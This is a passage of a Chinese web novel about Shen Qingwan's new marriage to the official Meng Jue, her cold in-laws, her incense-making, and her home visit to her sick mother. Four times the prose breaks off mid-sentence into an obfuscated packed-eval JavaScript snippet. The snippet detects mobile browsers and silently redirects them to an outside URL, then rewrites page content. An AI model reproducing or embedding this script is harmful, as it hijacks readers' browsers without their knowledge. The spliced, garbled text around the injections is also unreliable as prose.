若不是那晚的意外，若不是他那句“负责”，她这样的身份，又怎能踏入孟府的大门？ 她猜想，他心里大抵是瞧不上自己的吧。 *** 第二天天色刚蒙蒙亮，窗纸透进清浅的晨光。 含香端来温热的水盆伺候沈卿婉洗漱，从衣柜中取出一件新衣，那是件淡粉色的软缎衣裙，领口绣着精致的蝴蝶纹，料子轻软得像春日的云絮。 含香替她系好裙带，看着镜中映出的人影忍不住笑道：“以前娘子在沈家，一年都分不到几套新衣衫，如今出嫁了，总算有新衣服穿。 “娘子穿上这颜色越发好看了，粉面团似的，眉眼跟画里走出来似的。” 沈卿婉淡淡地笑了笑，对着镜子理了理鬓发，镜中人肤色莹白，眉眼弯弯，只是眼底还藏着一丝未散的轻愁。 她走出卧房，刚到正厅便愣了愣，孟玦竟已坐在那里。他穿着一身豆绿色锦袍，身姿挺拔如松，见她进来只是抬眸淡淡瞥了一眼，随即收回目光。 新婚第二日，要去婆婆那行敬茶礼。 两人沉默地走在游廊上，往孟母那里去。 沈卿婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024528|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦步亦趋地跟在孟玦身后，她盯着他的背影，几次想开口询问昨晚可是有什么事情，但话到嘴边又咽了回去，只低着头默默走着。 到了孟母居住的瑞和堂。 主位上只坐着孟母一人，年纪不过四十出头，穿一身石青色绣玉兰花的褙子，乌发绾成圆髻，插着一支赤金点翠步摇，虽已过不惑，风韵犹存。 看得出来，孟玦得了她的七分长相。 孟玦乃是宁远侯府的三房的嫡子，父亲早年曾任兵部尚书，却因一场风寒撒手人寰，家中如今只余下母亲主持中馈。 孟母肩下站着个十五六岁的少女，梳着双环髻，穿水红色衣裙，应是孟玦的胞妹——孟绾，带着几分审视的目光盯着她。 孟母只淡淡扫了她一眼，嘴角平平的，连客套的笑意都没有。 孟玦先一步上前行礼，沈卿婉连忙跟着屈膝，规规矩矩地行了礼。她双手捧着奉到婆婆面前：“母亲，请用茶。” 孟母接过茶盏却没喝，只放在手边的小几上，淡淡“嗯”了一声。 刚等礼行完，门子报说有人寻孟玦，他便开口道：“母亲，儿子还有公务在身，先行一步。”，贾母体贴儿子，什么也没说，就让他去了。 孟玦一走，厅里的气氛更冷了几分。 孟母的目光落在她身上，上下打量着，那日韫白自县主寿宴回来后，便央她去沈家提亲，她只觉荒唐，问及发生什么，孟玦只道酒后失态，误了人家姑娘清白。 孟母自是知道自家儿子脾性，哪会信这番说辞，又询问了几番，不得结果，只得照做，今日一见，果然一张狐媚子脸，越发没了好脸色。 孟母道：“既然进了我孟家的门，就得守我孟家的规矩。” 她慢悠悠地说道：“每日晨昏定省不可废，家中嚼用你要亲自管理，不可总躲在房里偷懒。往后府里的人情往来，宴席请托，都得按规矩来，别让人说我们孟府娶的媳妇不懂事。” 沈卿婉垂着头，轻声应道：“儿媳记下了。” 回到卧房，含香忍不住替她打抱不平，一边收拾东西一边嘟囔：“什么嘛，又不是正儿八经的侯爷府，规矩倒比谁都多！ “本以为娘子嫁进来，能有好日子过，没想到是出了虎穴，又入狼窝……” 沈卿婉被她的话逗笑了，嘴角微微扬了一下，却又很快抹去笑意，“好了，既已嫁过来，守规矩是应当的。” 含香撇撇嘴，虽满心不忿，却还是乖乖闭了嘴，心里替自家娘子泛起一阵酸意。 *** 夜幕低垂，侯府里点起了廊灯，昏黄的光晕顺着飞檐漫开，映得庭院里的花木添了几分朦胧。 沈卿婉提着一盏小巧的琉璃灯去了瑞和堂。 孟母正靠在铺着软垫的太师椅上，由婆子捶着腿，见她进来只抬了抬眼皮，连客套的话都懒得多说。 沈卿婉规规矩矩地行了礼，轻声问了安，又侍立在一旁听着婆母交代了几句家中的琐事，直到伺候孟母的常嬷嬷说了句，“老太太该歇息了。” 她才福了福身，恭顺地退了出来。 回到自己的院落时，含香忙迎了上来，接过她手中的灯，“娘子回来了？” 沈卿婉目光扫过空荡荡的屋子，轻声问：“官人还没回来？” “方才问过书房那边的小厮，说主君还在书房呢，说是有公文要处理。”含香替她倒了杯温水，“娘子折腾了一天，要不要先将息？” 沈卿婉看了眼窗外的天色，不过亥时，便摇了摇头：“还早，我再等会儿。”她顿了顿，忽然问道：“家中那个黄梨木箱子，你可拿来了？” 含香笑着道：“娘子出嫁前，特意叮嘱过我此事，早给您妥帖收在梳妆台下，这会要拿过来吗？” 4. 情疏迹远只留香 沈卿婉目光落在梳妆台的方向，轻声道：“时辰还早，拿过来吧。” 那黄花梨木箱子能占一个桌几的一半，打开时带着淡淡的木料香，左边整齐码着一排工具：竹制的细筛，黄铜小碾轮，牛角刮刀…… 还有几支不同粗细的小毛刷，都用软布仔细裹着，摆在铺了棉布的箱底。 右边则整整齐齐摆放着十几个巴掌大小的白瓷罐，每个小瓷罐上面都贴着鹅黄纸贴。 沈卿婉又从陪嫁来的箱笼中翻了一会，拿出一本包着灰皮的书籍，起着毛边，打开书页，泛着旧旧的黄。 她捻着书角，心中浮起一点涟漪，这书虽旧了，对她而言比千金还要重要。 她翻了几页，葱白的指尖停在其中一页上，指腹重复拂过上面的字“荷花渡。”她大略看过一遍，将书籍卷好，放置一边。 她小心地从箱子中拿出几个小瓷罐：沉香、丁香、檀香、荷叶粉、薄荷。 她用香匙按量按份地匀出香粉，逐一倒入碾槽里，逐一细压成细粉。 那本就粉末香材，只是她想要更细一点，比沙烁还要细腻，那样的香粉味道最为纯正。 她每一步都做得很认真，到最后又加入提前炼制好的香蜜，揉搓成小团。 “娘子，”旁边的含香看着她忙了半天，忍不住开口，“您如今嫁了主君，家里什么都不缺，何必还费这劲做香粉呢？” 沈卿婉将心思全部放在手头，虽听见了她那话，只是淡淡笑了笑，没挣着立即回她的话。 她自懂事起，就偏爱各种香味，后来学习制香，为了换那几两碎银。如今倒不必担心生计，做起香来比往日更多几分乐趣。 竟忘了时辰，直到听见打更人敲着梆子的声音，她才回过神。瞧着外面泼墨一般的天，问了一句：“什么时辰了？” 含香那时正撑着半只脸，脑袋摇摇晃晃，似睡非睡，听见她问，才迷迷糊糊地起了身，打着帘子，朝外望了一眼，估摸着说道：“好像快子时了。” 她说罢，一时没了下文。 屋内变得静悄悄的。 含香走到沈卿婉跟前，想了一想道：“娘子，想必今夜主君已在书房歇下了，我们也该休息了” 沈卿婉捏着香丸的手顿了一下，道了声好，手下的动作却没停，将调好的香丸又用剩余的一点香粉滚了一遍，防止粘连。 又将搓好的香丸装进陶罐里好生安置。 含香站在一旁看着，虽然她很想帮忙，但她知道沈卿婉对于制香从不假手于人。只能到最后，帮忙将桌子清理一遍。 沈卿婉在盥洗盆中净手，好似想到什么，抬头望向含香，向她道：“你刚才问我既已嫁人，为何还要做香？ “婚姻缘分深浅难料，手艺却是实打实的。万一哪一天……我也能凭着这手艺继续吃饭。” 她语气淡淡的，反倒叫含香听得心悸，含香一急，连忙出声打断她的话：“娘子，如今不过大婚两天，怎么就说到了……呸呸呸。怪不吉利的！” 沈卿婉见她一脸严肃，知她为自己好，便止了话，不再多说。 她心中暗暗叹了口气，照着如今的情景，婆母不喜，丈夫冷淡，也许哪一天那和离书就该送到她面前了。 若真有那么一天，她也该早做些准备…… 沈家……她是再也不想回去了。 *** 天边最后一点余晖隐去，星子慢慢缀满夜空，直到晨曦微露，第一缕天光穿过云层，将窗纸染成淡淡的金色，新的一日便悄无声息地来了。 孟玦在书房简单用过一回早饭，便自去上值。 他刚走进值房，同僚周明远便笑着迎上来：“韫白兄真是勤勉，这刚成婚，勤务却不肯懈怠，日日卯时便到，真是我辈楷模啊。” 孟玦颔首，坐在自己的位置上，翻阅着案宗，头也不抬地回道：“分内之事，不敢当‘楷模’二字。” 周明远在他这碰了个软钉子，不肯放过，凑近些压低声音：“我真没想到你会应下这门亲。 “你那京城的恩师，曲丞相家的千金和你不是有些情谊，多么门当户对的好姻缘，多少人羡慕不来……” 见孟玦听了这一番话，神色未变，不禁暗叹对方稳若泰山。 他又道：“当初县主寿宴，韫白兄当众为她解围，若是没后面这一桩子事，倒也算英雄救美的美谈。 “谁料她竟……另动了心思，这可不像是‘报恩’，倒有点像……”他没说下去，但话语中颇有一种“卿本佳人，奈何为贼”的惋叹。 “周兄。”孟玦终于抬眼，目光微沉，带着几分不悦，“背后议人是非，非君子所为。” 他一句话把周明远堵得无话可说，他指节轻叩案面，“既然明远兄这般清闲，不如把颍州近三年的常平仓记录，调配文书都取来，我正要看。” 周明远一愣，没想到他突然提公事，讪讪笑了笑：“怎么突然要看那个？是为了之前有人击鼓鸣冤，那不是已经结案了吗？ “说是惠和县的县丞和手下的人一时动了歪心，是个人行为，也已经认罪伏诛……” 他絮絮叨叨说了许多，想打消孟玦这个决定，今年的卷宗倒是好找，但前几年的又无人过问，都放在案牍库里不知落了几层灰，翻找起来，可不是件容易得事。 孟玦只是看着他，并不言声。 官大一级压死人。 周明远只当他是恼了，故意折腾自己，无法，只得亲自去找卷宗。 过了一个时辰，周明远抱着一摞卷宗，“哼哧哼哧”地往值房去，路上碰见录事参军郑钧，瞧见他这幅样子，好笑道：“呦，今天太阳打西面升起了，周通判这是准备学孟转运使呢？” 周明远没好气地将东西往他身上一扔，那郑钧赶忙接了过去，拿膝盖掂了掂。 “还不是那位大人要求，不然谁没事干翻这老黄历？”，他抖了抖袖子，继续道：“那高价粮的事早已结案，人都死了，也不知再看这些有什么用？难道还能看出花来？” 他一个劲抱怨着，丝毫没注意案卷后郑钧的眼神忽地一变。 *** 这边沈卿婉从孟母房里出来时，后颈已沁出一层薄汗。立了近一个时辰的规矩，腰背僵得像块木板，连带着鬓边的珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024529|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花也晃得发沉。 多亏含香暗中使劲搀着她，不然下楼梯时，她的膝盖软着，定是要摔一跤。 走出瑞和堂，她在廊道停了一阵，廊檐下的暖风撩着灯笼下面挂着的红色穗子，一摆一摆的。 缓了一息，她一面走，一面朝后面的女使吩咐道：“管库房的是哪位嬷嬷？” “是王嬷嬷。” 沈卿婉微微颔首，“老太太说着要从库房取两匹云锦，再叫外面的人按照时兴的样式给绾妹妹做两身新衣。 “你去唤王嬷嬷一会来我屋拿对牌……” 她说完这些，停了一刻，又想了想，确保没有遗漏，才让人去了。 路过园中花圃时，她望着那大片大片的牡丹花，胭脂红的花瓣裹着金蕊，像是穿着红色纱裙，围着金色绦带的舞姬，在绿叶丛中翩翩起舞。 她放慢了脚步，缓缓走到花圃边，轻柔地捧起一朵，“这牡丹开得真好。” 含香见她喜欢，笑道：“娘子既喜欢，我这就去问问管园子的嬷嬷，要些花瓣来。” 含香走了两步，就见刘嬷嬷提着水壶过来，听见含香的话，她呦了一声道：“夫人可莫要难为老奴。 “这牡丹花，老太太宝贝着呢！娘子可能不大见过这些，这话叫醉玉环，一株就要十几两银子，若是碰坏了，奴可担待不起。” 沈卿婉脸上的笑意淡了，“我不摘整朵，只要些落在地上的花瓣。” “那花瓣沾了泥，可别脏了娘子的手。”说罢，不再言语，转身往别处去了。 含香当即不干了，想要与那刘婆子辩驳一番，不就是朵花吗？再高贵也是朵花，怎么听起来比娘子还要高贵。 碰不得，摘不得，就连掉在泥土里都不肯给，太欺负人了！ 含香刚要开口说话，被沈卿婉拉住了，她看着含香，摇了摇头，若是一会闹起来，那刘嬷嬷定要给婆母告状。 孟母本就不喜她，如此一来，后面指不定又有多少风波，反倒得不偿失。 罢了。 那牡丹名贵，她不碰便是了。 含香跟在沈卿婉后面走着，时不时回头望着那牡丹。原以为娘子嫁了人，日子就好了，不过是从一个虎窝跳到另一个狼窝。 到了归宁这一天 含香收拾着东西，她忍不住回头，声音带着担忧：“娘子，主君明知道今日是归宁，还是一大早就去上值……这马上就到回门的时辰，他到时候会回来吗？” 沈卿婉只淡淡道：“他在州府查案，事务繁忙，若是不来也无妨。” 含香看着她平静的侧脸，心里更不是滋味，哪有新媳妇回门，姑爷不在场的道理？ 沈卿婉打点好了一切，坐在马车里等待着孟玦。 一个时辰的等待，街角的货郎都换了三拨。 车夫忍不住掀帘看了眼日头，都快到了午时，沈卿婉觉得孟玦大约不回来，抬手拢了拢鬓边的发，“走吧，不等了。” 车轮压过，发出沉闷的摩擦声，不过一息，身后突兀响起马蹄声，含香掀开车帘往后瞧了一眼，随即看向沈卿婉，惊讶道：“主君来了——” 5. 故人往事复又提 本就不宽敞的马车又添了一人，显得更加压抑逼仄。 马车内透着一股沉重的寂静，压得含香有些喘不过气来，她偷偷抬眼在二人面上打了个转。 一个朗目疏眉，神仪明秀，帘子外映进来的绛紫色恍如加了一个顶上圆光，似是宝殿里供养的金佛，使人不敢动了沾染的心。 一个般般入画，丰姿冶丽，像是仕女图中走出来的人物，一颦一笑尽是天然风情。 多么不相配的两人，偏生老天将人硬生生地凑到一块。 念及此处，她心里暗暗地叹了口气。 孟玦是从官署匆忙赶过来的，彼时他正翻阅着近三年来常平仓的籴粜记录，他捏着眉心，听见郑钧问他，“大人可看出异样？” 他淡淡道：“并无异处。”，心中却暗忖：“若说之前他还不确定其中有蹊跷，那看完这账簿，他敢确定那高价粮的事远不止那么简单。” 他摸着下颏，脸色带着一点笑，可是眼睛却没有一丝笑意，三年，三年里旧管、新收、开除、实在册记录是一模一样。 甚至可能不止三年…… 他沉着脸，不知想些什么，直到长随绿松进来，附耳提了一嘴，说起今日是归宁日。 他才发觉自己竟将此事忘了，又不想起自己这位岳父便是惠和县的县令，想着此行也许能问到一些线索。 虽然他对眼前这位妻子说不上有什么感情，但作为丈夫，守人伦，尊礼法，归宁日合该陪同，此刻无论何种缘由，总归是他失了礼数。 他便先开了口道了歉，并解释道：“官署有些丢不开手的事，便耽搁了。” 沈卿婉有些意外地瞧了他一眼，她没想到孟玦会和她解释。 “夫君以政务为重，心系黎元、躬亲庶务，是颍州百姓之福。” 她知道孟玦在归宁日迟到并非是故意给她难堪，她此前打听过孟玦，也知晓他的一些事情。 孟玦虽出身侯府，但侯门深似海，里面的弯弯绕绕也是寻常人家所看不见的，为了考取功名，那些年日夜攻书不辍，常是夙夜匪懈、昼夜不辨。 甚至一面吃饼，一面读书，入了神，那饼沾到墨汁，都浑然不觉。 以致今日中了状元，那时的习惯也不曾改变，寅时赴衙、夜批公文，不曾懈怠。 而且就算他今日不来……她也不会有任何怨言。 沈卿婉悄悄掀着眼皮，飞快地看了他一眼，但最后他还是来了，她心中泛起一点轻轻的，泠泠的涟漪。 她坐在马车的角落里，半张脸陷在暗沉沉的黑影里，那眉与眼隐隐染了一点不易察觉的喜意。 孟玦本以为自己这位妻子可能会不满，甚至发一通脾气，没想到她脸上没有半分愠色，若不是他主动开口，她可能一句话都不会多说。 像是埋在沙土里的蚌壳，不希望别人注意到她似的。 这样平淡冷静的性子…… 孟玦呼吸微顿，忽然想起那一夜，她慌乱的动作，泛红的眼眸……他别看头，耳尖那一抹红，谁也没发觉。 他心中忽而生出了一点疑惑，也许那夜是有什么误会不成？ *** 沈宅。 因今日是新姑爷孟玦携五娘子归宁的日子，孟玦为颍州路转运副使，是沈阶的顶头上司，他对此极为看重，提前一天主母贾氏便主持着归宁的事情。 宴席安排什么菜，大厅里摆的什么花，家里的女使并家丁交代了一番……张罗了一天一夜，府中的人没个落清闲的。 两个身着桃红衣衫的女使正用掸子扫着廊檐下挂着的宫灯。 这一个道：“今天好大的阵仗，从早上开始，我这手就没歇过。” 另一个道：“那可不是，那新姑爷可是状元郎嘞！几年才出一个，如今不过刚及冠，就是四品转运副使，以后定是要回京封侯拜相的……” 一个略感慨道：“五姑娘也算苦尽甘来了，当初……哎，连带着陶小娘大病一场，还以为挺不过今岁。没想到五姑娘竟能嫁给孟官人，反倒给陶小娘续了一口气。” 两个人一递一声地说着，丝毫没注意后面的人影，直到听到一阵动静不小的脚步声，她们才恍然回头，只看见柳氏并着两位姑娘，还来不及从圆凳上下来行礼。 便被赶了过去的沈熙媛一脚踹倒她们踩着的圆凳的凳子脚。 女使们躲闪不及，全部摔在廊道上，打了个两个滚，敢怒不敢言地垂着头。 柳氏瞧着自家小女儿，眉目轻皱，“闹这些做什么？叫你爹爹看见了，又要罚你。”，她对跪在地上的两个女使使了个眼色。 二人忙不迭地走了。 沈熙媛瞧着她们仓皇离去的身影，又看了一眼廊檐下的灯笼，恨道：“不过是用上不了台面的法子勾搭上孟玦，就和她母亲当年一般下作。” 柳氏眼睛也不向她，闲闲地道：“就算是用了不见光的手段，那也是人家的本事，你若是能学她攀上像孟家那样的人家，我倒觉得你上进了不少。” 沈熙媛见母亲不但夸那沈卿婉，还奚落自己，脸胀得微红，“小娘！” 柳氏道：“走吧，你父亲和大娘子一早就在正厅里等着，若是去得晚了，白招那大娘子一顿奚落。” 沈熙媛欲要再说些什么，被沈熙悦拉了一把，“四妹妹，可别闹了。如今那五妹妹今非昔比，你说再多又有何用？” “我就是看不上她！” 沈熙悦反倒放轻声音，轻轻一笑，“她那样的人那样的出身，浑身都是破绽，哪用你特地做些什么？” 沈熙媛听出她话中另有意思，问道：“三姐姐，你这话是什么意思？” “你忘了，她原来不是和那陈家还有一桩往事吗？”，说着，便做出一副惋惜之态，“本来门当户对的两人，却偏生要攀不属于自己的高处，一不小心摔下来，该多疼啊！” 沈熙媛闻言，面上的怒意转而换上幸灾乐祸的意味。 *** 马车缓缓停在沈府大门，管家引着他们进去。 大厅里，沈阶坐在主位帽椅上，旁边坐着贾氏，身侧站在她的一双儿女。左边的空位专门留给今日回门的新姑爷，右边则坐着柳氏，身后只站着沈熙悦，不知沈熙媛去了何处。 沈阶对于孟玦这位姑爷，心情极为复杂。前不久还是自己的顶头上官，如今却成了自己的女婿。他面上带着笑，言语间将尺寸拿捏的刚刚好，多一分便是谄媚，少一分便是不够亲切。 与孟玦说了一回客套话，待听到“父亲”二字，他才将目光移到沈卿婉那边。 沈卿婉跟在孟玦身侧，一道朝沈阶行了礼，沈阶这才注意到她，敛了几分笑意，难得温声地说道：“婉儿回来了……” 不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024530|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人，还以为是多么父慈子孝的一幕。 只有当事人才知这番话里的虚情假意占了多少，听得含香差点翻了白眼。 众人坐定，先是叙了些家常话。 孟玦不经意地提起惠和县粮价和税收情况。 沈阶虽这么多年在官场上无擢升之能，可好歹混迹十几年，做人做事可称圆滑，心中立即响起警铃，几番将话题岔开，又使了个眼色给贾氏，扯起了家常。 沈卿婉不知其中弯绕，坐在大厅里，心中挂念病重的生母。难得回来一趟，却不好撇开众人独自离去，只能咬着唇，干坐着。 贾氏看出她的心思，体谅她难得回来一趟，便找了借口将她打发出去。 沈卿婉这才能抽身出去，快步往往玉芜院赶去。正行之间，忽见有人堵住她的路——正是今日从未露面的沈熙媛。 沈熙媛站在高阶上，自上而下打量着沈卿婉，她今日穿着一身姜黄色折枝花褙子，水绿色曳地长裙，目光看过来的时候，神色淡淡的，像是绘在古画上的山茶花，带着一种规整的明媚。 家里姐妹四个，属沈卿婉最没存在感，穿的衣服、首饰都是她们挑剩下的。饶是如此，凭着她那张脸，穿什么竟也不逊色。 更别说如今嫁给了孟家，摇身一变，成为正经的大娘子，穿得、戴得更衬她姿色绝艳，沈熙媛心中生起一股不服气。 旋即脸上对上一抹笑，若是孟玦知道一些事，他还会允许沈卿婉待在孟家吗？ 她瞥了一眼月洞门的方向，敛了一敛情绪，含笑向沈卿婉道：“五妹妹可真是春风得意，全家都为你的回门劳心劳神…… 沈卿婉知道她拦住自己，不会有什么好话，并不做声。忽听对方话音一转，“只是五妹妹这般，可还记得陈郎君……” 听到熟悉的名字，沈卿婉抬起下颌与沈熙媛对视了一眼，“四姐姐到底想说什么？” “只是想为陈郎君打抱不平，可怜人家眼巴巴地等着娶五妹妹。结果五妹妹倒是个薄情的，转头就攀上了高枝……” 还没等沈卿婉说什么，含香就没忍住，反驳道：“你在胡说什么？明明——” 含香话还没说完，便被沈熙媛抢道：“你算什么东西，我与你家主子说话，轮得着你一个下人开口吗？” 沈卿婉望了一眼天色，已经在这耽搁了许久，她不想再浪费时间与之辩驳，那便顺了她的话道：“是，是我攀了高枝，可以让开了吗？” 沈熙媛没想到她就这么大大方方地承认了，愣在原地，看着她们从一旁走了。 片刻后，她抿着嘴笑，朝后面的月洞门方向看了一眼，月洞门畔疏植着数竿芭蕉叶，碧叶阔大如掌，层层叠叠间隐着两道人影。 待沈清婉离去后，那两道隐在树影中的人影也悄悄撤去。 绿松跟在孟玦身后，偷觑着他的侧脸。 原是从正厅出来时，孟玦一面走，一面低声吩咐他暗中查访当日县主寿宴的事，许是有什么误会。正说着，忽听见前面廊道传来夫人的声音。 “——是我攀了高枝——” 那声音柔柔缓缓的，偏教这夏日里添了几分凉意。绿松心下猛地一紧，再抬头看着孟玦，面上依旧是淡淡的，只那嘴唇绷成一条线。 绿松跟着孟玦出了院子，咽了口唾沫，试探着问道：“郎君，那查访的事……还查吗？” 6. 无心郎拒收心意 玉芜院坐落在沈宅最角落的一处，碎石铺的羊肠小道长满了细细高高的杂草，远远便能嗅见一股淡淡的药味。 卧房内素色绫帐半垂着，帐内斜倚着位妇人，年方三十余，面如纸薄，只两颊透着点久病的苍黄。 惟一双眉眼还存着年轻时的韵致，眉峰虽淡，却依稀有柳叶的形状，眼尾微微上挑，只是此刻蒙着层病气，像被露水打蔫的海棠。 她嘴角沾着那么一点褐色药渍，正漫不经心地擦着，目光却定定黏在窗外，一刻也不肯移开。 直到听见院外传来轻碎的脚步声，来了——她脸上不自觉抹上笑，那笑意从眼角慢慢晕开，连带着苍白的面颊都添了几分活气。 待门外身影刚露半角，她便撑着锦被想坐起来，“我的婉儿总算回来了！”话音未落，眼眶便漫上红意，连带着原本黯淡的眸子都湿得发亮。 沈卿婉对于沈家并无什么感情，唯一放心不下的就是自己的生母，她膝下无子，又无可依仗的娘家，在沈家也不受宠。 她走到床前，蹲下身子，伏在陶氏床沿上，伸出手攥住陶氏的手，脸枕在锦被上，抬眼细细打量着陶氏的脸色。 是比她离府前好了不少，那原本枯黄的面色白了几分，不似先前那般灰败，连眼尾的病气都淡了些。 “小娘，您今日看着精神多了。”她望了陶氏许久，才坐起身，目光扫过案头摆着的药碗，又转向立在旁侧的青琪，她是陶氏的贴身女使。 “这几日的汤药，还是按先前的方子煎么？可有添减药材？” 青琪忙上前半步，垂眸轻声应道：“五姑娘放心，如今的汤药府内每天都按时送来，不敢耽搁。 “老爷自从姑娘出阁，日日打发人来问安，汤药里的人参、当归都是拣着上等的药材配，不曾缺过。” 说着，她顿了顿，想到了从前的事，不禁感慨道：“先前姑娘还没嫁时，为着娘子的药，可是愁人。 “不分昼夜地绣着那香囊，调着香饼子……一开始，那香铺瞧姑娘没什么名气，死活不收。多亏陈郎君……”说到此处，方觉失言，声音渐渐低了下去，无声地带过了一些事，“……如今可好了，再不用姑娘做香去换药了。” 沈卿婉回头望了青琪一眼，“如今我嫁得很好，母亲的日子也好起来了，过去的往事也不必提了。” 陶氏虽偏居一隅，但也听了不少府里的风言风语，想着虽嫁给了孟家那样好的人家，可到底门不当户不对，难免受委屈。 “去了那边府里，没受什么委屈吧？那位孟官人待你可好？孟家对你如何？” 沈卿婉握着母亲的手，“娘您放心，我没受什么委屈，官人他很好。”她说着，垂下眼睫掩去眼底的酸涩，只把笑意递到脸上，“府里的人见他看重，自然也不敢慢待我。” 旁边的含香听着这话，隐隐红了眼眶，若真如姑娘说的这般好，那该多好啊。 只有她才知道姑娘在孟府过的什么日子，却只能在心里替姑娘打抱不平。 陶氏靠在引枕上，脸色比先前又亮了几分，“听你这么说，我这心才算真放下来。我也曾打听过，那孟玦是个稳重知礼的，你又是个温柔敦厚的性子。” 陶氏端看着自己女儿，笑着道：“论模样，也是万里挑一的。倘若那孟玦对你冷淡，那便是他的问题，指不定就是不喜欢女人……” 沈卿婉听着母亲的话风说到后面有几分不正经，赧红了脸，“小娘，你又取笑我了。” 陶氏格格笑了几声，又与她拉了一会家常。 日头都斜过窗棂了，树影在地上拖得老长，帐内的谈话声有一搭没一搭地，像是马头琴拉着悠远的调子，倾诉着无尽的眷恋，不肯停歇。 忽闻院外女使轻声回话：“姑娘，大娘子打发人来催你回去。” 沈卿婉握着母亲的手一顿，她先替母亲掖了掖被角，才轻声道：“小娘，那我先回了，过几日再来看您。” 她说着拿出一个小巧的香囊，蓬红色的罗缎面，上面绣着两朵青棠，针脚细得像画在布上的，凑近还能闻见淡淡的草药香。 “这是我前几日闲时做的，装了些安神香，您夜里睡不着就放在枕边。”她把香囊递到陶氏手里。 陶氏接过香囊，“你这绣工越发好了，这花的瓣子都透着活气。”又放在鼻尖轻嗅，眼神里添了几分欣慰，“这香也配得好，比先前更细润些，可见没把制香的本事丢了。 “虽是嫁了人，可靠别人，终究是一场赌博。好歹有一份手艺傍身，便是以后……”陶氏说到此处，想着沈卿婉如今刚嫁人说这些不吉利，便不再多说。 她想她的婉儿是个聪慧的孩子，这些话，不用她多说，她也会明白的。 原是还有些多话要叙，许多事要交代。可时间不待人，前院着人又催了一遍，沈卿婉不好耽搁，只得不舍地一步三回头，待出了院子，加紧脚步往前院赶去。 陶氏见沈卿婉走远了，掉过脸去悄悄地问青琪，“你说婉儿刚才说的可是真的？” 青琪顿了一下说道：“那位孟官人确是名声不错，应当不会苛待姑娘。” 静了片刻，陶氏不知想到了什么，急声道：“之前我病着，一时起不了身，婉儿的婚事不曾搭过手，什么也没给婉儿准备。 “一会你将柜子里早就备下那两匹秋香色锦缎拿出来，再将我那楠木小匣子里的金银细软悄悄塞进去。 “可仔细一点，别被她发现了。婉儿成了那孟家的媳妇，以后要当家做主，她性子软，手里头再没点东西，怎么能管住下面的人？ “想来那贾氏给不了她多少，只能我这个亲娘给她打算……” “可娘子，那匣子里可是您的全部的家当，都给了五姑娘，以后……” “以后？”陶氏冷笑一声，打断了青琪的话：“如今婉儿已经嫁出去，这沈府还能拿什么钳制我，我这条命，横竖活不长了！ “再说沈阶那老东西如今看在姑爷的面子上，量他也不敢怠慢我，我可要趁着这个机会，好好将他磋磨一顿。” 青琪“哎呦”了一声，上前虚掩着陶氏的嘴，心中暗道自家娘子还是这么不稳重，这一口一个老东西，叫人听去了，可还了得？！ “怕什么，那老贼，当初他差点害得婉儿万劫不复，我是真想掐死他和他同归于尽。”她说着，掇着肩气喘。 青琪替她顺着气，“娘子莫要生气，五姑娘吉人天相，已经出了沈家这个虎穴，以后定会好好的。” *** 回程的马车里，马车轻轻晃了晃，连带着马车里的人像坐在游湖的泛舟上，飘飘荡荡的。 沈卿婉一想到母亲的病情好转不少，日子也比之前好过了不少，顿觉心府轻快，那逼仄的马车都觉宽敞不少。 她知道这一切都是因为孟玦，因为孟玦，所以她能从沈家脱离出来，因为孟玦，所以小娘的日子好过起来。 孟玦就像她的本命佛，苦了那么多年，遇见他，日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024531|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子渐渐变得好起来了。念及至此，她偷偷地瞥了孟玦一眼，又飞快地收回目光。 只一眼，心头跳得厉害。 她忽然想到青琪的话：“姑娘跟姑爷好好相处，夫人才能放心，在这沈府的日子也能好过一点。” 她从帘子里漏进来的光线判断着时辰已经不早了，想必孟玦应该不会再去官署了。 一会回到府里，她要不要主动开口留他，她指尖绞着帕子，竟连呼吸都轻了些。 正琢磨着，马车忽然慢了，想来是快到府门了。她忙坐直身子，跟着孟玦下了马车，她亦步亦趋地跟在他身后。 